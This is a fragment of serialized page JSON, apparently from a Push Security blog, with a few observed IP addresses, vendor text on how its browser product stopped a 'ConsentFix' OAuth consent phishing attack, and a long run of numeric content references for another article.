logs:",{"data":70936,"content":70937,"nodeType":1049},{},[70938,70948,70958],{"data":70939,"content":70940,"nodeType":1003},{},[70941],{"data":70942,"content":70943,"nodeType":866},{},[70944],{"data":70945,"marks":70946,"value":70947,"nodeType":865},{},[],"12.75.216.90",{"data":70949,"content":70950,"nodeType":1003},{},[70951],{"data":70952,"content":70953,"nodeType":866},{},[70954],{"data":70955,"marks":70956,"value":70957,"nodeType":865},{},[],"182.3.36.223",{"data":70959,"content":70960,"nodeType":1003},{},[70961],{"data":70962,"content":70963,"nodeType":866},{},[70964],{"data":70965,"marks":70966,"value":70967,"nodeType":865},{},[],"12.75.116.137",{"data":70969,"content":70970,"nodeType":953},{},[],{"data":70972,"content":70973,"nodeType":963},{},[70974],{"data":70975,"marks":70976,"value":70978,"nodeType":865},{},[70977],{"type":961},"How Push stopped the attack",{"data":70980,"content":70981,"nodeType":866},{},[70982],{"data":70983,"marks":70984,"value":70985,"nodeType":865},{},[],"Even though this was a brand new technique, Push intercepted this attack and shut it down before customers could interact with it. ",{"data":70987,"content":70991,"nodeType":925},{"target":70988},{"sys":70989},{"id":70990,"type":922,"linkType":923},"5YzpiQH974EYA5iPPZMXkV",[],{"data":70993,"content":70994,"nodeType":866},{},[70995,70999,71007],{"data":70996,"marks":70997,"value":70998,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks or rely on outdated domain TI feeds. The reason we detect these attacks (which make it through all the other layers of phishing protection) is that Push sees what your users see. It doesn’t matter what ",{"data":71000,"content":71001,"nodeType":882},{"uri":13634},[71002],{"data":71003,"marks":71004,"value":71006,"nodeType":865},{},[71005],{"type":997},"delivery channel or camouflage methods are used",{"data":71008,"marks":71009,"value":71010,"nodeType":865},{},[],", Push shuts the attack down in real time, as the user loads the malicious page in their web browser.",{"data":71012,"content":71013,"nodeType":866},{},[71014],{"data":71015,"marks":71016,"value":71017,"nodeType":865},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":71019,"content":71020,"nodeType":866},{},[71021,71024,71031,71035,71042],{"data":71022,"marks":71023,"value":32401,"nodeType":865},{},[],{"data":71025,"content":71026,"nodeType":882},{"uri":22700},[71027],{"data":71028,"marks":71029,"value":22706,"nodeType":865},{},[71030],{"type":997},{"data":71032,"marks":71033,"value":71034,"nodeType":865},{},[]," or ",{"data":71036,"content":71037,"nodeType":882},{"uri":1728},[71038],{"data":71039,"marks":71040,"value":22730,"nodeType":865},{},[71041],{"type":997},{"data":71043,"marks":71044,"value":1048,"nodeType":865},{},[],{"data":71046,"content":71050,"nodeType":925},{"target":71047},{"sys":71048},{"id":71049,"type":922,"linkType":923},"6QzB0BlVC5mstXwXHvy2c3",[],{"data":71052,"content":71053,"nodeType":866},{},[71054],{"data":71055,"marks":71056,"value":21,"nodeType":865},{},[],"Analyzing \"ConsentFix\", a new browser-native attack technique we've detected in the wild, combining OAuth consent phishing with a ClickFix-style user prompt. ","2025-12-11T00:00:00.000Z",{"items":71060},[71061,71063],{"sys":71062,"name":11426},{"id":11425},{"sys":71064,"name":342},{"id":8410},{"items":71066},[71067],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":71068},{"url":32449},{"__typename":1788,"sys":71070,"content":71071,"title":32433,"synopsis":32434,"hashTags":59,"publishedDate":32435,"slug":361,"tagsCollection":73776,"authorsCollection":73782},{"id":15486},{"json":71072},{"data":71073,"content":71074,"nodeType":1739},{},[71075,71080,71096,71112,71118,71123,71129,71135,71138,71145,71150,71216,71232,71237,71243,71339,71344,71347,71354,71360,71365,71368,71375,71411,71416,71422,71428,71434,71440,71456,71461,71466,71471,71476,71481,71486,71491,71497,71727,71730,71737,71864,71869,71872,71879,71910,72037,72042,72045,72052,72191,72196,72199,72206,72211,72345,72350,72355,72358,72365,72504,72509,72512,72519,72659,72664,72667,72674,72765,72770,72773,72780,72871,72876,72879,72886,72891,73018,73023,73026,73033,73080,73085,73088,73095,73228,73233,73236,73243,73370,73375,73378,73385,73395,73401,73406,73411,73417,73434,73447,73452,73455,73462,73469,73486,73503,73508,73514,73520,73527,73533,73539,73545,73552,73558,73603,73608,73611,73618,73624,73630,73667,73672,73678,73681,73688,73694,73700,73716,73721,73727,73734,73740],{"data":71076,"content":71079,"nodeType":925},{"target":71077},{"sys":71078},{"id":29452,"type":922,"linkType":923},[],{"data":71081,"content":71082,"nodeType":866},{},[71083,71086,71093],{"data":71084,"marks":71085,"value":29460,"nodeType":865},{},[],{"data":71087,"content":71088,"nodeType":882},{"uri":29463},[71089],{"data":71090,"marks":71091,"value":29469,"nodeType":865},{},[71092],{"type":997},{"data":71094,"marks":71095,"value":29473,"nodeType":865},{},[],{"data":71097,"content":71098,"nodeType":866},{},[71099,71102,71109],{"data":71100,"marks":71101,"value":21,"nodeType":865},{},[],{"data":71103,"content":71104,"nodeType":882},{"uri":29482},[71105],{"data":71106,"marks":71107,"value":360,"nodeType":865},{},[71108],{"type":997},{"data":71110,"marks":71111,"value":29491,"nodeType":865},{},[],{"data":71113,"content":71114,"nodeType":866},{},[71115],{"data":71116,"marks":71117,"value":29498,"nodeType":865},{},[],{"data":71119,"content":71122,"nodeType":925},{"target":71120},{"sys":71121},{"id":29503,"type":922,"linkType":923},[],{"data":71124,"content":71125,"nodeType":866},{},[71126],{"data":71127,"marks":71128,"value":29511,"nodeType":865},{},[],{"data":71130,"content":71131,"nodeType":866},{},[71132],{"data":71133,"marks":71134,"value":29518,"nodeType":865},{},[],{"data":71136,"content":71137,"nodeType":953},{},[],{"data":71139,"content":71140,"nodeType":963},{},[71141],{"data":71142,"marks":71143,"value":29529,"nodeType":865},{},[71144],{"type":961},{"data":71146,"content":71149,"nodeType":925},{"target":71147},{"sys":71148},{"id":29534,"type":922,"linkType":923},[],{"data":71151,"content":71152,"nodeType":866},{},[71153,71156,71163,71166,71173,71176,71183,71186,71193,71196,71203,71206,71213],{"data":71154,"marks":71155,"value":29542,"nodeType":865},{},[],{"data":71157,"content":71158,"nodeType":882},{"uri":29545},[71159],{"data":71160,"marks":71161,"value":29551,"nodeType":865},{},[71162],{"type":997},{"data":71164,"marks":71165,"value":29555,"nodeType":865},{},[],{"data":71167,"content":71168,"nodeType":882},{"uri":29558},[71169],{"data":71170,"marks":71171,"value":29564,"nodeType":865},{},[71172],{"type":997},{"data":71174,"marks":71175,"value":29568,"nodeType":865},{},[],{"data":71177,"content":71178,"nodeType":882},{"uri":29571},[71179],{"data":71180,"marks":71181,"value":29577,"nodeType":865},{},[71182],{"type":997},{"data":71184,"marks":71185,"value":29581,"nodeType":865},{},[],{"data":71187,"content":71188,"nodeType":882},{"uri":29584},[71189],{"data":71190,"marks":71191,"value":29590,"nodeType":865},{},[71192],{"type":997},{"data":71194,"marks":71195,"value":29594,"nodeType":865},{},[],{"data":71197,"content":71198,"nodeType":882},{"uri":29597},[71199],{"data":71200,"marks":71201,"value":29603,"nodeType":865},{},[71202],{"type":997},{"data":71204,"marks":71205,"value":8756,"nodeType":865},{},[],{"data":71207,"content":71208,"nodeType":882},{"uri":29609},[71209],{"data":71210,"marks":71211,"value":29615,"nodeType":865},{},[71212],{"type":997},{"data":71214,"marks":71215,"value":29619,"nodeType":865},{},[],{"data":71217,"content":71218,"nodeType":866},{},[71219,71222,71229],{"data":71220,"marks":71221,"value":29626,"nodeType":865},{},[],{"data":71223,"content":71224,"nodeType":882},{"uri":29629},[71225],{"data":71226,"marks":71227,"value":29635,"nodeType":865},{},[71228],{"type":997},{"data":71230,"marks":71231,"value":29639,"nodeType":865},{},[],{"data":71233,"content":71236,"nodeType":925},{"target":71234},{"sys":71235},{"id":29644,"type":922,"linkType":923},[],{"data":71238,"content":71239,"nodeType":866},{},[71240],{"data":71241,"marks":71242,"value":29652,"nodeType":865},{},[],{"data":71244,"content":71245,"nodeType":1049},{},[71246,71273,71291],{"data":71247,"content":71248,"nodeType":1003},{},[71249],{"data":71250,"content":71251,"nodeType":866},{},[71252,71255,71261,71264,71270],{"data":71253,"marks":71254,"value":29665,"nodeType":865},{},[],{"data":71256,"content":71257,"nodeType":882},{"uri":29668},[71258],{"data":71259,"marks":71260,"value":29673,"nodeType":865},{},[],{"data":71262,"marks":71263,"value":8756,"nodeType":865},{},[],{"data":71265,"content":71266,"nodeType":882},{"uri":29679},[71267],{"data":71268,"marks":71269,"value":29684,"nodeType":865},{},[],{"data":71271,"marks":71272,"value":29688,"nodeType":865},{},[],{"data":71274,"content":71275,"nodeType":1003},{},[71276],{"data":71277,"content":71278,"nodeType":866},{},[71279,71282,71288],{"data":71280,"marks":71281,"value":29698,"nodeType":865},{},[],{"data":71283,"content":71284,"nodeType":882},{"uri":8759},[71285],{"data":71286,"marks":71287,"value":19437,"nodeType":865},{},[],{"data":71289,"marks":71290,"value":29708,"nodeType":865},{},[],{"data":71292,"content":71293,"nodeType":1003},{},[71294],{"data":71295,"content":71296,"nodeType":866},{},[71297,71300,71306,71309,71316,71319,71326,71329,71336],{"data":71298,"marks":71299,"value":29718,"nodeType":865},{},[],{"data":71301,"content":71302,"nodeType":882},{"uri":29721},[71303],{"data":71304,"marks":71305,"value":29726,"nodeType":865},{},[],{"data":71307,"marks":71308,"value":29730,"nodeType":865},{},[],{"data":71310,"content":71311,"nodeType":882},{"uri":29733},[71312],{"data":71313,"marks":71314,"value":29739,"nodeType":865},{},[71315],{"type":997},{"data":71317,"marks":71318,"value":3892,"nodeType":865},{},[],{"data":71320,"content":71321,"nodeType":882},{"uri":29745},[71322],{"data":71323,"marks":71324,"value":29751,"nodeType":865},{},[71325],{"type":997},{"data":71327,"marks":71328,"value":29755,"nodeType":865},{},[],{"data":71330,"content":71331,"nodeType":882},{"uri":3087},[71332],{"data":71333,"marks":71334,"value":29763,"nodeType":865},{},[71335],{"type":997},{"data":71337,"marks":71338,"value":29767,"nodeType":865},{},[],{"data":71340,"content":71343,"nodeType":925},{"target":71341},{"sys":71342},{"id":29772,"type":922,"linkType":923},[],{"data":71345,"content":71346,"nodeType":953},{},[],{"data":71348,"content":71349,"nodeType":963},{},[71350],{"data":71351,"marks":71352,"value":29784,"nodeType":865},{},[71353],{"type":961},{"data":71355,"content":71356,"nodeType":866},{},[71357],{"data":71358,"marks":71359,"value":29791,"nodeType":865},{},[],{"data":71361,"content":71364,"nodeType":925},{"target":71362},{"sys":71363},{"id":29796,"type":922,"linkType":923},[],{"data":71366,"content":71367,"nodeType":953},{},[],{"data":71369,"content":71370,"nodeType":1458},{},[71371],{"data":71372,"marks":71373,"value":29808,"nodeType":865},{},[71374],{"type":961},{"data":71376,"content":71377,"nodeType":866},{},[71378,71381,71388,71391,71398,71401,71408],{"data":71379,"marks":71380,"value":21,"nodeType":865},{},[],{"data":71382,"content":71383,"nodeType":882},{"uri":3087},[71384],{"data":71385,"marks":71386,"value":29763,"nodeType":865},{},[71387],{"type":997},{"data":71389,"marks":71390,"value":2186,"nodeType":865},{},[],{"data":71392,"content":71393,"nodeType":882},{"uri":29827},[71394],{"data":71395,"marks":71396,"value":29833,"nodeType":865},{},[71397],{"type":997},{"data":71399,"marks":71400,"value":29837,"nodeType":865},{},[],{"data":71402,"content":71403,"nodeType":882},{"uri":29745},[71404],{"data":71405,"marks":71406,"value":29845,"nodeType":865},{},[71407],{"type":997},{"data":71409,"marks":71410,"value":29849,"nodeType":865},{},[],{"data":71412,"content":71415,"nodeType":925},{"target":71413},{"sys":71414},{"id":29854,"type":922,"linkType":923},[],{"data":71417,"content":71418,"nodeType":866},{},[71419],{"data":71420,"marks":71421,"value":29862,"nodeType":865},{},[],{"data":71423,"content":71424,"nodeType":866},{},[71425],{"data":71426,"marks":71427,"value":29869,"nodeType":865},{},[],{"data":71429,"content":71430,"nodeType":866},{},[71431],{"data":71432,"marks":71433,"value":29876,"nodeType":865},{},[],{"data":71435,"content":71436,"nodeType":866},{},[71437],{"data":71438,"marks":71439,"value":29883,"nodeType":865},{},[],{"data":71441,"content":71442,"nodeType":866},{},[71443,71446,71453],{"data":71444,"marks":71445,"value":29890,"nodeType":865},{},[],{"data":71447,"content":71448,"nodeType":882},{"uri":13634},[71449],{"data":71450,"marks":71451,"value":29898,"nodeType":865},{},[71452],{"type":997},{"data":71454,"marks":71455,"value":29902,"nodeType":865},{},[],{"data":71457,"content":71460,"nodeType":925},{"target":71458},{"sys":71459},{"id":29907,"type":922,"linkType":923},[],{"data":71462,"content":71465,"nodeType":925},{"target":71463},{"sys":71464},{"id":29913,"type":922,"linkType":923},[],{"data":71467,"content":71470,"nodeType":925},{"target":71468},{"sys":71469},{"id":29919,"type":922,"linkType":923},[],{"data":71472,"content":71475,"nodeType":925},{"target":71473},{"sys":71474},{"id":29925,"type":922,"linkType":923},[],{"data":71477,"content":71480,"nodeType":925},{"target":71478},{"sys":71479},{"id":29931,"type":922,"linkType":923},[],{"data":71482,"content":71485,"nodeType":925},{"target":71483},{"sys":71484},{"id":29937,"type":922,"linkType":923},[],{"data":71487,"content":71490,"nodeType":925},{"target":71488},{"sys":71489},{"id":29943,"type":922,"linkType":923},[],{"data":71492,"content":71493,"nodeType":866},{},[71494],{"data":71495,"marks":71496,"value":21,"nodeType":865},{},[],{"data":71498,"content":71499,"nodeType":2396},{},[71500,71522,71593,71639,71661],{"data":71501,"content":71502,"nodeType":1869},{},[71503,71513],{"data":71504,"content":71505,"nodeType":1835},{},[71506],{"data":71507,"content":71508,"nodeType":866},{},[71509],{"data":71510,"marks":71511,"value":29967,"nodeType":865},{},[71512],{"type":961},{"data":71514,"content":71515,"nodeType":1835},{},[71516],{"data":71517,"content":71518,"nodeType":866},{},[71519],{"data":71520,"marks":71521,"value":29977,"nodeType":865},{},[],{"data":71523,"content":71524,"nodeType":1869},{},[71525,71535],{"data":71526,"content":71527,"nodeType":1835},{},[71528],{"data":71529,"content":71530,"nodeType":866},{},[71531],{"data":71532,"marks":71533,"value":29991,"nodeType":865},{},[71534],{"type":961},{"data":71536,"content":71537,"nodeType":1835},{},[71538,71562],{"data":71539,"content":71540,"nodeType":866},{},[71541,71545,71548,71552,71555,71559],{"data":71542,"marks":71543,"value":30002,"nodeType":865},{},[71544],{"type":961},{"data":71546,"marks":71547,"value":30006,"nodeType":865},{},[],{"data":71549,"marks":71550,"value":30011,"nodeType":865},{},[71551],{"type":961},{"data":71553,"marks":71554,"value":30015,"nodeType":865},{},[],{"data":71556,"marks":71557,"value":30020,"nodeType":865},{},[71558],{"type":961},{"data":71560,"marks":71561,"value":30024,"nodeType":865},{},[],{"data":71563,"content":71564,"nodeType":866},{},[71565,71569,71572,71576,71579,71583,71586,71590],{"data":71566,"marks":71567,"value":30032,"nodeType":865},{},[71568],{"type":961},{"data":71570,"marks":71571,"value":2157,"nodeType":865},{},[],{"data":71573,"marks":71574,"value":30040,"nodeType":865},{},[71575],{"type":961},{"data":71577,"marks":71578,"value":30044,"nodeType":865},{},[],{"data":71580,"marks":71581,"value":30011,"nodeType":865},{},[71582],{"type":961},{"data":71584,"marks":71585,"value":30052,"nodeType":865},{},[],{"data":71587,"marks":71588,"value":30020,"nodeType":865},{},[71589],{"type":961},{"data":71591,"marks":71592,"value":30060,"nodeType":865},{},[],{"data":71594,"content":71595,"nodeType":1869},{},[71596,71606],{"data":71597,"content":71598,"nodeType":1835},{},[71599],{"data":71600,"content":71601,"nodeType":866},{},[71602],{"data":71603,"marks":71604,"value":30074,"nodeType":865},{},[71605],{"type":961},{"data":71607,"content":71608,"nodeType":1835},{},[71609,71615,71621,71627,71633],{"data":71610,"content":71611,"nodeType":866},{},[71612],{"data":71613,"marks":71614,"value":30084,"nodeType":865},{},[],{"data":71616,"content":71617,"nodeType":866},{},[71618],{"data":71619,"marks":71620,"value":30091,"nodeType":865},{},[],{"data":71622,"content":71623,"nodeType":866},{},[71624],{"data":71625,"marks":71626,"value":30098,"nodeType":865},{},[],{"data":71628,"content":71629,"nodeType":866},{},[71630],{"data":71631,"marks":71632,"value":30105,"nodeType":865},{},[],{"data":71634,"content":71635,"nodeType":866},{},[71636],{"data":71637,"marks":71638,"value":30112,"nodeType":865},{},[],{"data":71640,"content":71641,"nodeType":1869},{},[71642,71652],{"data":71643,"content":71644,"nodeType":1835},{},[71645],{"data":71646,"content":71647,"nodeType":866},{},[71648],{"data":71649,"marks":71650,"value":30126,"nodeType":865},{},[71651],{"type":961},{"data":71653,"content":71654,"nodeType":1835},{},[71655],{"data":71656,"content":71657,"nodeType":866},{},[71658],{"data":71659,"marks":71660,"value":30136,"nodeType":865},{},[],{"data":71662,"content":71663,"nodeType":1869},{},[71664,71674],{"data":71665,"content":71666,"nodeType":1835},{},[71667],{"data":71668,"content":71669,"nodeType":866},{},[71670],{"data":71671,"marks":71672,"value":30150,"nodeType":865},{},[71673],{"type":961},{"data":71675,"content":71676,"nodeType":1835},{},[71677,71687,71697,71707,71717],{"data":71678,"content":71679,"nodeType":866},{},[71680,71684],{"data":71681,"marks":71682,"value":30161,"nodeType":865},{},[71683],{"type":961},{"data":71685,"marks":71686,"value":30165,"nodeType":865},{},[],{"data":71688,"content":71689,"nodeType":866},{},[71690,71694],{"data":71691,"marks":71692,"value":30173,"nodeType":865},{},[71693],{"type":961},{"data":71695,"marks":71696,"value":30177,"nodeType":865},{},[],{"data":71698,"content":71699,"nodeType":866},{},[71700,71704],{"data":71701,"marks":71702,"value":30185,"nodeType":865},{},[71703],{"type":961},{"data":71705,"marks":71706,"value":30189,"nodeType":865},{},[],{"data":71708,"content":71709,"nodeType":866},{},[71710,71714],{"data":71711,"marks":71712,"value":30197,"nodeType":865},{},[71713],{"type":961},{"data":71715,"marks":71716,"value":30201,"nodeType":865},{},[],{"data":71718,"content":71719,"nodeType":866},{},[71720,71724],{"data":71721,"marks":71722,"value":30209,"nodeType":865},{},[71723],{"type":961},{"data":71725,"marks":71726,"value":30213,"nodeType":865},{},[],{"data":71728,"content":71729,"nodeType":953},{},[],{"data":71731,"content":71732,"nodeType":1458},{},[71733],{"data":71734,"marks":71735,"value":30224,"nodeType":865},{},[71736],{"type":961},{"data":71738,"content":71739,"nodeType":2396},{},[71740,71762,71798,71820,71842],{"data":71741,"content":71742,"nodeType":1869},{},[71743,71753],{"data":71744,"content":71745,"nodeType":1835},{},[71746],{"data":71747,"content":71748,"nodeType":866},{},[71749],{"data":71750,"marks":71751,"value":29967,"nodeType":865},{},[71752],{"type":961},{"data":71754,"content":71755,"nodeType":1835},{},[71756],{"data":71757,"content":71758,"nodeType":866},{},[71759],{"data":71760,"marks":71761,"value":30250,"nodeType":865},{},[],{"data":71763,"content":71764,"nodeType":1869},{},[71765,71775],{"data":71766,"content":71767,"nodeType":1835},{},[71768],{"data":71769,"content":71770,"nodeType":866},{},[71771],{"data":71772,"marks":71773,"value":29991,"nodeType":865},{},[71774],{"type":961},{"data":71776,"content":71777,"nodeType":1835},{},[71778,71788],{"data":71779,"content":71780,"nodeType":866},{},[71781,71785],{"data":71782,"marks":71783,"value":30274,"nodeType":865},{},[71784],{"type":961},{"data":71786,"marks":71787,"value":30278,"nodeType":865},{},[],{"data":71789,"content":71790,"nodeType":866},{},[71791,71795],{"data":71792,"marks":71793,"value":30032,"nodeType":865},{},[71794],{"type":961},{"data":71796,"marks":71797,"value":30289,"nodeType":865},{},[],{"data":71799,"content":71800,"nodeType":1869},{},[71801,71811],{"data":71802,"content":71803,"nodeType":1835},{},[71804],{"data":71805,"content":71806,"nodeType":866},{},[71807],{"data":71808,"marks":71809,"value":30074,"nodeType":865},{},[71810],{"type":961},{"data":71812,"content":71813,"nodeType":1835},{},[71814],{"data":71815,"content":71816,"nodeType":866},{},[71817],{"data":71818,"marks":71819,"value":30312,"nodeType":865},{},[],{"data":71821,"content":71822,"nodeType":1869},{},[71823,71833],{"data":71824,"content":71825,"nodeType":1835},{},[71826],{"data":71827,"content":71828,"nodeType":866},{},[71829],{"data":71830,"marks":71831,"value":30126,"nodeType":865},{},[71832],{"type":961},{"data":71834,"content":71835,"nodeType":1835},{},[71836],{"data":71837,"content":71838,"nodeType":866},{},[71839],{"data":71840,"marks":71841,"value":30335,"nodeType":865},{},[],{"data":71843,"content":71844,"nodeType":1869},{},[71845,71855],{"data":71846,"content":71847,"nodeType":1835},{},[71848],{"data":71849,"content":71850,"nodeType":866},{},[71851],{"data":71852,"marks":71853,"value":30349,"nodeType":865},{},[71854],{"type":961},{"data":71856,"content":71857,"nodeType":1835},{},[71858],{"data":71859,"content":71860,"nodeType":866},{},[71861],{"data":71862,"marks":71863,"value":30359,"nodeType":865},{},[],{"data":71865,"content":71868,"nodeType":925},{"target":71866},{"sys":71867},{"id":30364,"type":922,"linkType":923},[],{"data":71870,"content":71871,"nodeType":953},{},[],{"data":71873,"content":71874,"nodeType":1458},{},[71875],{"data":71876,"marks":71877,"value":30376,"nodeType":865},{},[71878],{"type":961},{"data":71880,"content":71881,"nodeType":866},{},[71882,71885,71889,71892,71898,71901,71907],{"data":71883,"marks":71884,"value":30383,"nodeType":865},{},[],{"data":71886,"marks":71887,"value":30388,"nodeType":865},{},[71888],{"type":961},{"data":71890,"marks":71891,"value":30392,"nodeType":865},{},[],{"data":71893,"content":71894,"nodeType":882},{"uri":30395},[71895],{"data":71896,"marks":71897,"value":30400,"nodeType":865},{},[],{"data":71899,"marks":71900,"value":30404,"nodeType":865},{},[],{"data":71902,"content":71903,"nodeType":882},{"uri":30407},[71904],{"data":71905,"marks":71906,"value":30412,"nodeType":865},{},[],{"data":71908,"marks":71909,"value":30416,"nodeType":865},{},[],{"data":71911,"content":71912,"nodeType":2396},{},[71913,71935,71971,71993,72015],{"data":71914,"content":71915,"nodeType":1869},{},[71916,71926],{"data":71917,"content":71918,"nodeType":1835},{},[71919],{"data":71920,"content":71921,"nodeType":866},{},[71922],{"data":71923,"marks":71924,"value":29967,"nodeType":865},{},[71925],{"type":961},{"data":71927,"content":71928,"nodeType":1835},{},[71929],{"data":71930,"content":71931,"nodeType":866},{},[71932],{"data":71933,"marks":71934,"value":30442,"nodeType":865},{},[],{"data":71936,"content":71937,"nodeType":1869},{},[71938,71948],{"data":71939,"content":71940,"nodeType":1835},{},[71941],{"data":71942,"content":71943,"nodeType":866},{},[71944],{"data":71945,"marks":71946,"value":29991,"nodeType":865},{},[71947],{"type":961},{"data":71949,"content":71950,"nodeType":1835},{},[71951,71961],{"data":71952,"content":71953,"nodeType":866},{},[71954,71958],{"data":71955,"marks":71956,"value":30466,"nodeType":865},{},[71957],{"type":961},{"data":71959,"marks":71960,"value":30470,"nodeType":865},{},[],{"data":71962,"content":71963,"nodeType":866},{},[71964,71968],{"data":71965,"marks":71966,"value":30032,"nodeType":865},{},[71967],{"type":961},{"data":71969,"marks":71970,"value":30481,"nodeType":865},{},[],{"data":71972,"content":71973,"nodeType":1869},{},[71974,71984],{"data":71975,"content":71976,"nodeType":1835},{},[71977],{"data":71978,"content":71979,"nodeType":866},{},[71980],{"data":71981,"marks":71982,"value":30074,"nodeType":865},{},[71983],{"type":961},{"data":71985,"content":71986,"nodeType":1835},{},[71987],{"data":71988,"content":71989,"nodeType":866},{},[71990],{"data":71991,"marks":71992,"value":30504,"nodeType":865},{},[],{"data":71994,"content":71995,"nodeType":1869},{},[71996,72006],{"data":71997,"content":71998,"nodeType":1835},{},[71999],{"data":72000,"content":72001,"nodeType":866},{},[72002],{"data":72003,"marks":72004,"value":30126,"nodeType":865},{},[72005],{"type":961},{"data":72007,"content":72008,"nodeType":1835},{},[72009],{"data":72010,"content":72011,"nodeType":866},{},[72012],{"data":72013,"marks":72014,"value":30527,"nodeType":865},{},[],{"data":72016,"content":72017,"nodeType":1869},{},[72018,72028],{"data":72019,"content":72020,"nodeType":1835},{},[72021],{"data":72022,"content":72023,"nodeType":866},{},[72024],{"data":72025,"marks":72026,"value":30349,"nodeType":865},{},[72027],{"type":961},{"data":72029,"content":72030,"nodeType":1835},{},[72031],{"data":72032,"content":72033,"nodeType":866},{},[72034],{"data":72035,"marks":72036,"value":30550,"nodeType":865},{},[],{"data":72038,"content":72041,"nodeType":925},{"target":72039},{"sys":72040},{"id":30555,"type":922,"linkType":923},[],{"data":72043,"content":72044,"nodeType":953},{},[],{"data":72046,"content":72047,"nodeType":1458},{},[72048],{"data":72049,"marks":72050,"value":30567,"nodeType":865},{},[72051],{"type":961},{"data":72053,"content":72054,"nodeType":2396},{},[72055,72077,72119,72147,72169],{"data":72056,"content":72057,"nodeType":1869},{},[72058,72068],{"data":72059,"content":72060,"nodeType":1835},{},[72061],{"data":72062,"content":72063,"nodeType":866},{},[72064],{"data":72065,"marks":72066,"value":29967,"nodeType":865},{},[72067],{"type":961},{"data":72069,"content":72070,"nodeType":1835},{},[72071],{"data":72072,"content":72073,"nodeType":866},{},[72074],{"data":72075,"marks":72076,"value":30593,"nodeType":865},{},[],{"data":72078,"content":72079,"nodeType":1869},{},[72080,72090],{"data":72081,"content":72082,"nodeType":1835},{},[72083],{"data":72084,"content":72085,"nodeType":866},{},[72086],{"data":72087,"marks":72088,"value":29991,"nodeType":865},{},[72089],{"type":961},{"data":72091,"content":72092,"nodeType":1835},{},[72093,72103,72109],{"data":72094,"content":72095,"nodeType":866},{},[72096,72100],{"data":72097,"marks":72098,"value":30466,"nodeType":865},{},[72099],{"type":961},{"data":72101,"marks":72102,"value":30620,"nodeType":865},{},[],{"data":72104,"content":72105,"nodeType":866},{},[72106],{"data":72107,"marks":72108,"value":30627,"nodeType":865},{},[],{"data":72110,"content":72111,"nodeType":866},{},[72112,72116],{"data":72113,"marks":72114,"value":30032,"nodeType":865},{},[72115],{"type":961},{"data":72117,"marks":72118,"value":30638,"nodeType":865},{},[],{"data":72120,"content":72121,"nodeType":1869},{},[72122,72132],{"data":72123,"content":72124,"nodeType":1835},{},[72125],{"data":72126,"content":72127,"nodeType":866},{},[72128],{"data":72129,"marks":72130,"value":30074,"nodeType":865},{},[72131],{"type":961},{"data":72133,"content":72134,"nodeType":1835},{},[72135,72141],{"data":72136,"content":72137,"nodeType":866},{},[72138],{"data":72139,"marks":72140,"value":30661,"nodeType":865},{},[],{"data":72142,"content":72143,"nodeType":866},{},[72144],{"data":72145,"marks":72146,"value":30668,"nodeType":865},{},[],{"data":72148,"content":72149,"nodeType":1869},{},[72150,72160],{"data":72151,"content":72152,"nodeType":1835},{},[72153],{"data":72154,"content":72155,"nodeType":866},{},[72156],{"data":72157,"marks":72158,"value":30126,"nodeType":865},{},[72159],{"type":961},{"data":72161,"content":72162,"nodeType":1835},{},[72163],{"data":72164,"content":72165,"nodeType":866},{},[72166],{"data":72167,"marks":72168,"value":30691,"nodeType":865},{},[],{"data":72170,"content":72171,"nodeType":1869},{},[72172,72182],{"data":72173,"content":72174,"nodeType":1835},{},[72175],{"data":72176,"content":72177,"nodeType":866},{},[72178],{"data":72179,"marks":72180,"value":30349,"nodeType":865},{},[72181],{"type":961},{"data":72183,"content":72184,"nodeType":1835},{},[72185],{"data":72186,"content":72187,"nodeType":866},{},[72188],{"data":72189,"marks":72190,"value":30714,"nodeType":865},{},[],{"data":72192,"content":72195,"nodeType":925},{"target":72193},{"sys":72194},{"id":30719,"type":922,"linkType":923},[],{"data":72197,"content":72198,"nodeType":953},{},[],{"data":72200,"content":72201,"nodeType":1458},{},[72202],{"data":72203,"marks":72204,"value":30731,"nodeType":865},{},[72205],{"type":961},{"data":72207,"content":72210,"nodeType":925},{"target":72208},{"sys":72209},{"id":30736,"type":922,"linkType":923},[],{"data":72212,"content":72213,"nodeType":2396},{},[72214,72236,72279,72301,72323],{"data":72215,"content":72216,"nodeType":1869},{},[72217,72227],{"data":72218,"content":72219,"nodeType":1835},{},[72220],{"data":72221,"content":72222,"nodeType":866},{},[72223],{"data":72224,"marks":72225,"value":29967,"nodeType":865},{},[72226],{"type":961},{"data":72228,"content":72229,"nodeType":1835},{},[72230],{"data":72231,"content":72232,"nodeType":866},{},[72233],{"data":72234,"marks":72235,"value":30763,"nodeType":865},{},[],{"data":72237,"content":72238,"nodeType":1869},{},[72239,72249],{"data":72240,"content":72241,"nodeType":1835},{},[72242],{"data":72243,"content":72244,"nodeType":866},{},[72245],{"data":72246,"marks":72247,"value":29991,"nodeType":865},{},[72248],{"type":961},{"data":72250,"content":72251,"nodeType":1835},{},[72252,72262],{"data":72253,"content":72254,"nodeType":866},{},[72255,72259],{"data":72256,"marks":72257,"value":30466,"nodeType":865},{},[72258],{"type":961},{"data":72260,"marks":72261,"value":30790,"nodeType":865},{},[],{"data":72263,"content":72264,"nodeType":866},{},[72265,72269,72272,72276],{"data":72266,"marks":72267,"value":30032,"nodeType":865},{},[72268],{"type":961},{"data":72270,"marks":72271,"value":2157,"nodeType":865},{},[],{"data":72273,"marks":72274,"value":3230,"nodeType":865},{},[72275],{"type":961},{"data":72277,"marks":72278,"value":30808,"nodeType":865},{},[],{"data":72280,"content":72281,"nodeType":1869},{},[72282,72292],{"data":72283,"content":72284,"nodeType":1835},{},[72285],{"data":72286,"content":72287,"nodeType":866},{},[72288],{"data":72289,"marks":72290,"value":30074,"nodeType":865},{},[72291],{"type":961},{"data":72293,"content":72294,"nodeType":1835},{},[72295],{"data":72296,"content":72297,"nodeType":866},{},[72298],{"data":72299,"marks":72300,"value":30831,"nodeType":865},{},[],{"data":72302,"content":72303,"nodeType":1869},{},[72304,72314],{"data":72305,"content":72306,"nodeType":1835},{},[72307],{"data":72308,"content":72309,"nodeType":866},{},[72310],{"data":72311,"marks":72312,"value":30126,"nodeType":865},{},[72313],{"type":961},{"data":